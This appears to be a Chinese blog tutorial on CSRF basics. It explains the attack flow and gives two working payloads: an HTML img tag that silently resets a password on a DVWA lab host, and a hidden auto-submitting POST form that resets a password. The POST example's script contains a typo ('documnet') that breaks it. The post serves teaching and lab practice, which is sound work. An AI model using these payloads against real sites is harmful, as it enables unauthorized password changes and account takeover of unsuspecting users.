【渗透测试基础】跨站请求伪造CSRF

^^_candice

已于 2022-12-02 09:38:13 修改

阅读量178

点赞数

分类专栏： web安全文章标签： csrf

于 2022-12-02 01:04:21 首次发布

本文链接：https://blog.csdn.net/javaEE_zero/article/details/128125503

版权

web安全专栏收录该内容

9 篇文章 0 订阅

订阅专栏

01 简介

CSRF（Cross-Site request Forgery）跨站请求伪造，它是一种挟持用户在当前已登录的web应用程序上执行非本意操作的方法。

过程描述：

用户通过浏览器访问并登录受信任网站A。
网站A验证通过后，返回cookie信息给浏览器。
用户在未登出网站A时，访问了恶意网站B。
恶意网站B返回给用户浏览器包含恶意请求网站A的代码。
在用户不知道的情况下，用户浏览器携带着步骤2的cookie，访问了网站A，完成攻击。

分析：http协议是无状态的，通过cokies记录会话信息，用户登录网站后，浏览器爆粗cookies信息。再次访问网站时，浏览器会将cookies附带在请求中。且接口只检查cookies信息，无法区分是否用户主动发起的请求。

02 危害

添加账号

重置密码

任意发帖

……

03 示例

GET型

以dvwa靶场（192.168.77.100）get型csrf为例：

构造 payload

<html>
    <body>
        <img src="http://192.168.77.100/dvwa/vulnerabilities/csrf/?password_new=admin123&password_conf=admin123&Change=%E6%94%B9%E5%8F%98" />
    </body>
</html>

发送恶意链接（http://192.168.77.130/1.html）给用户诱导用户点击
模拟用户访问http://192.168.77.130/1.html，携带用户cookie，执行了重置密码操作。如下：
dvwa密码已被重置为admin123

POST型

需要构造form表单，在网页加载时自动提交，如下：

<html>
<body>
<form action="http://a.com/resetpasswd" method="post">
<input type="hidden" name="user" value="xiaoming" />
<input type="hidden" name="password" value="123456" />
<script>documnet.forms[0].submit()</script>
</form>
</body>
</html>